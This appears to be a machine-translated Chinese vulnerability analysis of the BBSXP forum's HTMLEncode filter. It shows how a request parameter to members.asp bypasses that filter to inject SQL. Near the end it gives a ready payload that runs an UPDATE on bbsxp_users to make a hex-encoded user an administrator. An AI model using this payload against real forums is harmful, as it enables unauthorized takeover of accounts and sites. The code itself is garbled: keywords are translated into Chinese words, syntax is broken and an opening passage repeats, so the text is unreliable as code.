审查:脆弱性分析:

官方最新的滤波函数的HTMLEncode,此时滤波器的特性*,再次绕过过滤注射

Function HTMLEncode (fString)

fstring =取代(fstring,CHR(9),)

fstring =取代(fstring,CHR(13),)

fstring =取代(fstring,CHR(22),)






脆弱性分析:

官方最新的滤波函数的HTMLEncode,此时滤波器的特性*,再次绕过过滤注射

函数的HTMLEncode(fstring)

fstring =取代(fstring,CHR(9),)

fstring =取代(fstring,CHR(13),)

fstring =取代(fstring,CHR(22),)

fstring =取代(fstring,CHR(38),;

fstring =取代(fstring,CHR(32),)

fstring =取代(fstring,CHR(34),;。

fstring =取代(fstring,CHR(39),)

fstring =取代(fstring,CHR(42),××)

fstring =取代(fstring,CHR(44),

fstring =取代(fstring,CHR(45)CHR(45),,)

fstring =取代(fstring,CHR(60),fstring =取代(fstring,CHR(62),> >)

fstring =取代(fstring,CHR(92),)

fstring =取代(fstring,CHR(59),;);

fstring =取代(fstring,CHR(10),)

fstring =替换文本(fstring,({ #({ })a-z0-9 } *);1美元2美元;)

如果SiteConfig(bannedtext)fstring =替换文本(fstring <> ,(siteconfig(bannedtext );),字符串(Len($ 1quot;),*))

如果issqldatabase = 0然后过滤假名(日文字符){ u30a0 - u30ff } Yuzi

fstring =逃避(fstring)

fstring =替换文本(fstring,%({ } { U30 A-F 0-F })

fstring = unescape(fstring)

最后如果

HtmlEncode = fstring

端功能

members.asp漏洞的文件进行测试,作为测试:

searchtype = HTMLEncode(请求(searchtype )) / /第八

要查找的文字= HTMLEncode(请求(SearchText))

searchrole = requestint(searchrole )

currentaccountstatus = HTMLEncode(请求(currentaccountstatus ))

......

如果SearchText <>然后项目= itemquot;和(searchtypequot;喜欢searchtextquot;第十八线 / / %)

......

如果currentaccountstatus 项目= itemquot;和useraccountstatus =currentaccountstatusquot; / /第二十二



如果项目,则项目在中间(项目,5)

......

测度=执行(select count(用户名)从{{tableprefixquot;用户} 项目)(0)得到的数据的数量

第五十四



查看SQL语句:

SELECT * FROM bbsxp_users其中UserID =(1){ } {更新bbsxp_users设置用户角色编号} =(1),(用户名= 0x79006c003600330036003400)

可变用户绕过过滤器执行更新

均匀的结构:

searchtype = 1

要查找的文字= 1

currentaccountstatus =(1){ } {更新bbsxp_users设置用户角色编号} =(1),(用户名= 0x79006c003600330036003400)